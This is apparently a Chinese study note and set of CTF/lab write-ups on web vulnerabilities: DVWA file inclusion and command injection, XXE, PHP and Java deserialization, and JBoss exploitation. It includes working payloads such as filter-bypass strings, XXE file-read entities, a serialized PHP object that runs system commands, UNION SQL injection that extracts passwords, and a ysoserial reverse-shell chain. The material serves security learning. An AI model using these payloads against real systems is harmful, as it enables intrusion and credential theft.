$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 "../", "..\""替换为空字符,即删除。规则很简单,可以使用双写绕过。
local
过滤了相对路径,可以使用绝对路径。
page=D:\1_Safe\ctfweb\ma\phpinfo.php

remote
双写绕过即可。
page=hthttp://tp://x.x.x.x/phpinfo.php

DVWA-HIGH
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。看似安全,但其实我们依然可以利用file协议绕过防护策略。file协议我们并不陌生,当用浏览器打开一个本地文件时,用的就是file协议。
local
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///D:\1_Safe\ctfweb\ma\phpinfo.php

DVWD-IMPOSSIBALE
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
防御方法
- 严格判断包含中的参数是否外部可控。
- 路径限制,限制被包含的文件只能在某一个文件夹内,特别是一定要禁止目录跳转字符,如:“../”。
- 基于白名单的包含文件验证,验证被包含的文件是否在白名单中。
- 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:“include("head.php")”。
- 可以通过调用str_replace()函数实现相关敏感字符的过滤,一定程度上防御了远程文件包含
php伪协议
file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流
命令注入
命令注入漏洞是指由于Web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至Web应用程序,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。
PHP命令注入攻击存在的主要原因是Web应用程序员在应用PHP语言中一些具有命令执行功能的函数时,对用户提交的数据内容没有进行严格过滤就带入函数中执行。命令注入漏洞所造成的危害是极高的,因为可以直接执行命令,所以攻击者可以轻松地获取权限。
Linux命令连接符如下所示。
- ;:连接前后命令,前面的命令执行完,再执行后面的命令。
- |:管道符,连接前后命令时只显示后面命令的执行结果。
- ||:两个管道符,连接前后命令时前面的命令执行出错时才执行后面的命令。Windows命令连接符如下所示。
- &:前面的命令为假则直接执行后面的命令。
- &&:前面的命令为假则直接出错,后面的命令也不执行了。
- |:直接执行后面的命令。
- ||:前面的命令出错后,执行后面的命令。
DVWA-LOW
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
没做任何过滤。

DVWA-MEDIUM
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the characters in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
将 && , ; 过滤了,我们还有 || 可以使用,不过前提是左边语句执行为假。

DVWA-HIGH
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '', // 不加空格即可
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the characters in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
过滤中|会被过滤,而|不会。

DVWA-IMPOSSIBALE
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
使用了白名单。
XXE XML外部实体注入
XXE(XML External Entity Injection, XML外部实体注入)是一个注入漏洞,并且注入的是XML外部实体。如果能注入外部实体并且成功解析,就会大大拓宽XML注入的攻击面。XML注入是通过闭合标签插入恶意的XML元素进行注册管理员用户等逻辑漏洞攻击。而XXE是将XML元素注入变成外部实体注入,在DTD中声明外部实体。在xml中实体的作用相当于是一个已经定义的变量,可以在标签内使用,通过 & 符号进行引用,现在的浏览器安全策略已经不允许这种简单粗暴的方式了
XXE-lab
PHP_XXE
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');//这里面因为没有xml文档所以用的是php的伪协议来获取我们发送的xml文档
try{
$dom = new DOMDocument();//创建XML的对象
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//将我们发送的字符串生成xml文档。
$creds = simplexml_import_dom($dom);//这一步感觉相当于实例化xml文档
$username = $creds->username;//获取username标签的值
$password = $creds->password;//获取password标签的值
if($username == $USERNAME && $password == $PASSWORD){//将获取的值与前面的进行比较。...
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);//注意必须要有username这个标签,不然的话找不到username,就没有了输出了,我们也不能通过回显来获取信息了
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);//与上方相同,都会输出username的值,都可以达到我们的目的
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
对登录活动进行抓包。

读取任意文件
注意路径要用 '/'
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY test SYSTEM "file:///D:/1_Safe/ctfweb/ma/flag.txt">
]>
<user>
<username>
&test;
</username>
<password>
test
</password>
</user>

执行系统命令
<?xml version "1.0"?>
<!DOCTYPE ANY
<!ENTITY xxe SYSTEM "except://1s">]
<script>&xxe;</script>
扫描与攻击内网服务
<?xml version "1.0"?>
<!DOCTYPE ANY
<!ENTITY xxe SYSTEM"http://内网ip">]>
<script>&xxe;</script>
PHP 反序列化漏洞
反序列化是相对于序列化而言的,在计算机中序列化指的是将数据结构或者对象转换为方便存储或传输的数据,并且可以在之后还原,反序列化则与此相反。有两种情况必须把对象序列化,一是把一个对象在网络中传输,二是把对象写入文件或数据库。
php 魔术方法
PHP中把以两个下划线__开头的方法称为魔术方法(Magic methods)。类可能会包含一些特殊的函数:magic函数,这些函数在某些情况下会自动调用。
__construct() //类的构造函数,创建对象时触发
__destruct() //类的析构函数,对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义
__set() //在给不可访问属性赋值时触发
__isset() //当对不可访问属性调用 isset() 或 empty() 时触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当尝试以调用函数的方式调用一个对象时触发
__sleep() //执行serialize()时,先会调用这个方法
__wakeup() //执行unserialize()时,先会调用这个方法
__toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
__set_state() //调用var export()方法导出类时,此静态方法会被调用
__clone() //当对象复制完成时调用
__autoload() //尝试加载未定义的类
__debugInfo() //打印所需调试信息
__serialize() /* 方法检查类是否具有魔术方法serialize()。如果有,则该功能在任serialize()
何序列化之前执行。它必须构造并返回代表对象序列化形式的键值对的关联数
组。如果未返回任何数组,则引发TypeError */
__unserialize() /* serialize()的预期用途是定义对象易于序列化的任意表示形式。数组的元素可
以对应于对象的属性,但这不是必须的 */
serialize()函数会检查类中是否存在一个魔术方法。如果存在,该方法会先被调用,然后才执行序列化操作。
<?php
class TestClass
{
//一个变量
public $variable = 'This is a string';
//一个方法
public function PrintVariable()
{
echo $this->variable.'<br />';
}
//构造函数
public function __construct()
{
echo '__construct<br />';
}
//析构函数
public function __destruct()
{
echo '__destruct<br />';
}
//当对象被当作一个字符串
public function __toString()
{
return '__toString<br />';
}
}
//创建一个对象
//__construct会被调用
$object = new TestClass();
//创建一个方法
//‘This is a string’将会被输出
$object->PrintVariable();
//对象被当作一个字符串
//toString会被调用
echo $object;
//php脚本要结束时,__destruct会被调用
?>
/* 输出
__construct
This is a string
__toString
__destruct
*/
反序列化的入口在unserialize(),只要参数可控并且这个类在当前作用域存在,就能传入任何已经序列化的对象,而不是局限于出现unserialize()函数的类的对象。
如果只能局限于当前类,那攻击面就太小了,而且反序列化其他类对象只能控制属性,如果没有完成反序列化后的代码中调用其他类对象的方法,还是无法利用漏洞进行攻击。
但是,利用魔术方法就可以扩大攻击面,魔术方法是在该类序列化或者反序列化的同时自动完成的,这样就可以利用反序列化中的对象属性来操控一些能利用的函数,达到攻击的目的。
php 序列化与反序列化
PHP序列化:把对象转化为二进制的字符串,使用serialize()函数。
PHP反序列化:把对象转化的二进制字符串再转化为对象,使用unserialize()函数。
php 序列化
示例
<?php
class User
{
//类的数据
public $age = 0;
public $name = '';
//输出数据
public function printdata()
{
echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
} // “.”表示字符串连接
}
//创建一个对象
$usr = new User();
//设置数据
$usr->age = 18;
$usr->name = 'Hardworking666';
//输出数据
$usr->printdata();
//输出序列化后的数据
echo serialize($usr)
?>
/* 输出
User Hardworking666 is 18 years old.
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}
注解:“s”表示string对象,“3”表示长度,“age”则为key;“i”是interger(整数)对象,“18”是value,后面同理。
*/
-
public:属性被序列化的时候属性值会变成属性名 -
protected:属性被序列化的时候属性值会变成\x00*\x00属性名 -
private:属性被序列化的时候属性值会变成\x00类名\x00属性名 -
a:array 数组型 b:boolean 布尔型d:double 浮点型i:integer 整数型o:common object 共同对象r:objec reference 对象引用s:non-escaped binary string 非转义的二进制字符串S:escaped binary string 转义的二进制字符串C:custom object 自定义对象O:class 对象N:null 空R:pointer reference 指针引用U:unicode string Unicode 编码的字符串{}:里面是参数的key和value- 命名空间下的序列化,名字会加上命名空间。
PHP序列化需注意以下几点:
- 序列化只序列属性,不序列方法
- 因为序列化不序列方法,所以反序列化之后如果想正常使用这个对象的话我们必须要依托这个类要在当前作用域存在的条件
- 我们能控制的只有类的属性,攻击就是寻找合适能被控制的属性,利用作用域本身存在的方法,基于属性发动攻击
php 反序列化
示例
<?php
class User
{
//类的数据
public $age = 0;
public $name = '';
//输出数据
public function printdata()
{
echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
}
}
//重建对象
$usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}');
//输出数据
$usr->printdata();
?>
/* 输出
User Hardworking666 is 18 years old.
*/
<?php
class test
{
public $variable = '变量反序列化后都要销毁'; //公共变量
public $variable2 = 'OTHER';
public function printvariable()
{
echo $this->variable.'<br />';
}
public function __construct()
{
echo '__construct'.'<br />';
}
public function __destruct()
{
echo '__destruct'.'<br />';
}
public function __wakeup()
{
echo '__wakeup'.'<br />';
}
public function __sleep()
{
echo '__sleep'.'<br />';
return array('variable','variable2');
}
}
//创建一个对象,回调用__construct
$object = new test();
//序列化一个对象,会调用__sleep
$serialized = serialize($object);
//输出序列化后的字符串
print 'Serialized:'.$serialized.'<br />';
//重建对象,会调用__wakeup
$object2 = unserialize($serialized);
//调用printvariable,会输出数据(变量反序列化后都要销毁)
$object2->printvariable();
//脚本结束,会调用__destruct
?>
/* 输出
__construct
__sleep
Serialized:O:4:"test":2:{s:8:"variable";s:33:"变量反序列化后都要销毁";s:9:"variable2";s:5:"OTHER";}
__wakeup
变量反序列化后都要销毁
__destruct
__destruct
*/
序列化和反序列化本身没有问题,但是反序列化内容用户可控,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。当传给unserialize()的参数可控时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。
2020_wdb_phpweb
查看页面源码发现存在一个表单:
<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background:url("bg.jpg") no-repeat;
background-size: 100%;
}
p {
color: white;
}
</style>
</head>
<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
2024-04-22 12:00:08 pm </p>
<form id=form1 name=form1 action="index.php" method="post">
<input type="hidden" id="func" name="func" value='date'>
<input type="hidden" id="p" name="p" value='Y-m-d h:i:s a'>
</form>
</body>
</html>
猜测这是一个函数调用功能,尝试调用eval、system等函数时发现提示黑名单,我们先读源码,POST提交func=file_get_contents&p=/var/www/html/index.php,可以得到源码,代码如下。
<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background:url("bg.jpg") no-repeat;
background-size: 100%;
}
p {
color: white;
}
</style>
</head>
<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background:url("bg.jpg") no-repeat;
background-size: 100%;
}
p {
color: white;
}
</style>
</head>
<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch",
"escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",
"array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce",
"array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
);
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {
return "";
}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
</p>
<form id=form1 name=form1 action="index.php" method="post">
<input type="hidden" id="func" name="func" value='date'>
<input type="hidden" id="p" name="p" value='Y-m-d h:i:s a'>
</form>
</body>
</html>
</p>
<form id=form1 name=form1 action="index.php" method="post">
<input type="hidden" id="func" name="func" value='date'>
<input type="hidden" id="p" name="p" value='Y-m-d h:i:s a'>
</form>
</body>
</html>
代码的主要逻辑为获取请求的func和p参数,并且设置了func的黑名单,调用call_user_func($func, $p)即调用了$func($p)函数。由于存在黑名单,因此我们没办法直接执行命令或者获取WebShell。代码中存在Test类,我们可以通过反序列化触发__destruct(),调用gettime()函数,直接执行call_user_func,绕过黑名单。接下来需要构造反序列化字符串,这个过程自然不是手工和随意构造,而是根据目标代码中存在的类来构造。我们新建一个payload.php文件,代码如下:
<?php
class Test {
var $p = "find / -name *flag*";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a=new Test();
echo serialize($a);
// rsult: O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system";}
?>

<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background:url("bg.jpg") no-repeat;
background-size: 100%;
}
p {
color: white;
}
</style>
</head>
<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/eth0/flags
/sys/devices/virtual/net/tunl0/flags
/sys/module/scsi_mod/parameters/default_dev_flags
/proc/sys/kernel/acpi_video_flags
/proc/sys/net/ipv4/fib_notify_on_flag_change
/proc/sys/net/ipv6/fib_notify_on_flag_change
/proc/kpageflags
/usr/local/lib/php/build/ax_check_compile_flag.m4
/usr/share/dpkg/buildflags.mk
/usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/waitflags.ph
/usr/lib/x86_64-linux-gnu/perl/5.28.1/bits/ss_flags.ph
/usr/bin/dpkg-buildflags
/usr/include/x86_64-linux-gnu/bits/waitflags.h
/usr/include/x86_64-linux-gnu/bits/ss_flags.h
/usr/include/x86_64-linux-gnu/asm/processor-flags.h
/usr/include/linux/kernel-page-flags.h
/usr/include/linux/tty_flags.h
/flag_70617379
/flag_70617379 </p>
<form id=form1 name=form1 action="index.php" method="post">
<input type="hidden" id="func" name="func" value='date'>
<input type="hidden" id="p" name="p" value='Y-m-d h:i:s a'>
</form>
</body>
</html>
接下来直接读取flag即可。
func=readfile&p=/flag_70617379
PHP session反序列化漏
PHP Phar反序列化漏洞
JAVA 反序列化漏洞
java 序列化与反序列化
-
java 序列化:把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。
-
JAVA 反序列化:把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。
序列化与反序列化是让Java对象脱离Java运行环境的一种手段,可以实现多平台之间的通信、对象持久化存储。Java序列化的应用场景很多,目前最常见的是RPC框架的数据传输,比如应用级服务框架中阿里巴巴的Dubbo、Java原生的RMI(Remote Method Invocation,远程方法调用)协议。下面是其一些主要应用场景:
-
HTTP:多平台之间的通信,管理等。 -
RMI:是Java的一组拥护开发分布式应用程序的API,实现了不同操作系统之间程序的方法调用。值得注意的是,RMI的传输100%基于反序列化,Java RMI的默认端口是1099端口。 -
JMX:JMX是一套标准的代理和服务,用户可以在任何Java应用程序中使用这些代理和服务实现管理,中间件软件WebLogic的管理页面就是基于JMX开发的,而JBoss则整个系统都基于JMX构架。
示例
import java.io.*;
/*
首先我们定义了一个Myobject类并继承了Serializable接口,并且重写了readObject方法。我们知道在反序列化时会执行readObject方法。而我们在readObject()方法中写入了Runtime.getRuntime().exec("calc.exe"),在反序列化时就会执行相应的命令。
*/
class MyObject implements Serializable{
public String name;
//重写readObject()方法
@Serial
private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException, IOException {
//执行默认的readObject()方法
in.defaultReadObject();
//执行打开计算器程序命令
Runtime.getRuntime().exec("calc.exe");
}
}
public class Main {
public static void main(String[] args) throws Exception{
//定义myObj对象
MyObject myObj = new MyObject();
myObj.name = "hi";
//创建一个包含对象进行反序列化信息的”object”数据文件
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将myObj对象写入object文件
os.writeObject(myObj);
os.close();
//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
MyObject objectFromDisk = (MyObject)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}
反序列化流程

ObjectInputStream实例初始化并读取魔数头和版本号用于校验,然后调用ObjectInputStream.readObject()方法读取对象数据、类型标识等信息。- 在通过
readClassDesc()方法读取类名、SUID等信息后,调用resolveClass()方法,根据类名获取待反序列化的类的Class对象。 - 通过
ObjectStreamClass.newInstance()方法获取并调用距离对象最近的、未继承Serializable的父类无参构造方法(如果不存在无参构造,则返回null),创建对象实例。 - 调用
readSerialData()方法读取对象的序列化数据,若类自定义了readObject()方法,则调用该方法读取对象,否则调用defaultReadFields()方法读取并填充对象的字段数据。
一个对象的序列化二进制流中,包含了反序列化时恢复这个对象所需的所有信息,它有以0xaced开头这一序列化串的显著特征。
类可以被序列化需要满足一个条件:这个类必须实现反序列化接口java.io.Serializable或者java.io.Externalizable。如果不满足,那么这个类就不能被序列化。除此之外,如果一个类的某个字段被transiant修饰,那这个字段是不可被序列化的,即序列化的字节流中不包含这个字段的信息。当一个类重写了readObject()方法后,在反序列化时会优先调用这个被重写的readObject()方法。
java 反射原理
在运行时才知道要操作的类是什么,并且可以在运行时获取类的完整构造、调用对象的任意方法,这种动态执行Java代码的方式叫作反射。通过Java的反射机制,可以方便地在运行时获取对象的信息,也可以在运行时完成类的加载或者对象初始化等。例如,可以通过Class.forName(classNam)方法在运行时加载任意类,也可以通过obj.getClass()方法获得实例化对象对应的类。获取一个类后,调用class.newInstance()方法就能完成对象的动态创建。通过class.getMethod("a",String.class)方法可以获取obj对象中参数类型为String的a方法,然后调用method.invoke(obj,"a")方法就能完成对obj对象的a方法的动态调用。

需要注意的是,由于Runtime类是单例模式,它的构造方法是私有属性,即使用private关键字进行修饰,因此无法通过new命令实例化一个Runtime对象。在这种情况下,只能通过Runtime.getRuntime()方法来获取Runtime对象,再调用对应的方法。Commons Collections这条Gadget的核心,就是对这种反射机制的灵活利用。
2020_wdb_Think_Java
题目提供了部分源码。
- 查看源码
Test.class
这个class中存在import io.swagger.annotations.ApiOperation;信息。swagger-ui 提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。可以地址/swagger-ui.html访问。
package ;
import cn.abc.common.bean.ResponseCode;
import cn.abc.common.bean.ResponseResult;
import cn.abc.common.security.annotation.Access;
import cn.abc.core.sqldict.SqlDict;
import cn.abc.core.sqldict.Table;
import io.swagger.annotations.ApiOperation;
import java.io.IOException;
import java.util.List;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@CrossOrigin
@RestController
@RequestMapping({"/common/test"})
public class Test {
@PostMapping({"/sqlDict"})
@Access
@ApiOperation(")
public ResponseResult sqlDict(String dbName) throws IOException {
List<Table> tables = SqlDict.getTableData(dbName, "root", "abc@12345");
return ResponseResult.e(ResponseCode.OK, tables);
}
}

SqlDict.class
这个class中sql语句的连接使用简单的"+"号连接,存在sql注入漏洞。
package cn.abc.core.sqldict;
import java.sql.Connection;
import java.sql.DatabaseMetaData;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
/* loaded from: SqlDict.class */
public class SqlDict {
public static Connection getConnection(String dbName, String user, String pass) {
String dbName2;
Connection conn = null;
try {
Class.forName("com.mysql.jdbc.Driver");
if (dbName != null && !dbName.equals("")) {
dbName2 = "jdbc:mysql://mysqldbserver:3306/" + dbName;
} else {
dbName2 = "jdbc:mysql://mysqldbserver:3306/myapp";
}
user = (user == null || dbName2.equals("")) ? "root" : "root";
pass = (pass == null || dbName2.equals("")) ? "abc@12345" : "abc@12345";
conn = DriverManager.getConnection(dbName2, user, pass);
} catch (ClassNotFoundException var5) {
var5.printStackTrace();
} catch (SQLException var6) {
var6.printStackTrace();
}
return conn;
}
public static List<Table> getTableData(String dbName, String user, String pass) {
List<Table> Tables = new ArrayList<>();
Connection conn = getConnection(dbName, user, pass);
try {
Statement stmt = conn.createStatement();
DatabaseMetaData metaData = conn.getMetaData();
ResultSet tableNames = metaData.getTables(null, null, null, new String[]{"TABLE"});
while (tableNames.next()) {
String TableName = tableNames.getString(3);
Table table = new Table();
// sql 注入
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
ResultSet rs = stmt.executeQuery(sql);
while (rs.next()) {
table.setTableDescribe(rs.getString("TABLE_COMMENT"));
}
table.setTableName(TableName);
ResultSet data = metaData.getColumns(conn.getCatalog(), null, TableName, "");
ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), null, TableName);
String PK = "";
while (rs2.next()) {
PK = rs2.getString(4);
}
while (data.next()) {
Row row = new Row(data.getString("COLUMN_NAME"), data.getString("TYPE_NAME"), data.getString("COLUMN_DEF"), data.getString("NULLABLE").equals("1") ? "YES" : "NO", data.getString("IS_AUTOINCREMENT"), data.getString("REMARKS"), data.getString("COLUMN_NAME").equals(PK) ? "true" : null, data.getString("COLUMN_SIZE"));
table.list.add(row);
}
Tables.add(table);
}
} catch (SQLException var16) {
var16.printStackTrace();
}
return Tables;
}
}
- 利用JDBC sql注入漏洞获取用户信息
在url中#表示锚点,表示网页中的一个位置,比如http:xxx/index.html#aaa,浏览器读取这个url,会将aaa移到可视位置。在第一个#,都会被视为位置标识符,不会被发送到服务端。而jdbc类似于url解析,所以会忽略#后面的字符。而#又是sql注入中的注释符,如果我们需要在url中传#,那么需要进行url编码为%23。
/*由于dbName在getConnection()方法中也拼接到连接串上,因此需要用#注释,在连接不出错的同时还能进行SQL注入。*/
if (dbName != null && !dbName.equals("")) {
dbName2 = "jdbc:mysql://mysqldbserver:3306/" + dbName;
} else {
dbName2 = "jdbc:mysql://mysqldbserver:3306/myapp"; //连接myapp
}
向getConnection()方法中传入dbName参数,值为 myapp#' union select 1# ,那麼语句就变成了:
Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = 'myapp#' union select 1 #---
# 获取表名
Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '
myapp#' union/**/select/**/group_concat(SCHEMA_NAME)from(information_schema.schemata)#
/* 返回
"tableDescribe": "information_schema,myapp,mysql,performance_schema,sys",
"tableName": "user"
*/
# 获取列名
Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = 'myapp#'union/**/select/**/group_concat(column_name)from(information_schema.columns)where(table_name='user')and(table_schema='myapp')#
/* 返回
"tableDescribe": "id,name,pwd",
"tableName": "user"
*/
# 获取name字段值
Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '
myapp#' union/**/select/**/group_concat(name)from(user)#
/*
"tableDescribe": "admin",
"tableName": "user"
*/
# 查询密码
Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '
myapp#'union/**/select/**/group_concat(pwd)from(user)#
/* 返回
"tableDescribe": "admin@Rrrr_ctf_asde",
"tableName": "user"
*/
- 在login提交获取的用户名和密码
获取一个凭证:
{
"data": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu",
"msg": "登录成功",
"status": 2,
"timestamps": 1714301993092
}
返回的body中存在Bearer+token用于登录认证。Bearer后的token开头为rO0A,这就是Java序列化数据开头经过Base64编码后的显著特征,因此想到通过token对服务端进行反序列化攻击。
- 利用java Deserialization Scanner分析gadget
将凭证提交到current,然后将包发到java Deserialization Scanner插件(配置好config)中,进行分析,最后可用的是ROME。

- 反弹shell
下面有详细的用法这里就简单说一下,把 bash 的反弹shell进行编码,再利用ysoserial把编码好的反弹shell脚本选择ROME的gadget生成ser文件,然后利用以下脚本解码ser文件。
# -*- coding: UTF-8 -*-
import base64
file = open("rome.ser","rb")
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
再把其当作 toke 传入 current 即可。


jboss 反序列化漏洞
可以使用 vulfocus 在线环境。以下攻击方法适用于CVE-2015-7501和CVE-2017-12149
利用过程
发现漏洞指纹 -> 反弹shell进行编码 -> 用ysoserial把编码好的反弹shell生ser文件 -> 启动监听 -> 用curl或者burpsuit对http://ip:port/invoker/JMXInvokerServlet发送ser文件 -> 获得反弹shell
- JMXInvokerServlet漏洞指纹:
访问/invoker/JMXInvokerServlet目录,会有Servlet组件弹框提示下载。

- 编码反弹shell。
https://jackson-t.com/java.lang.runtime.exec-payload-workarounds/

- 用ysoserial把编码好的反弹shell生ser文件
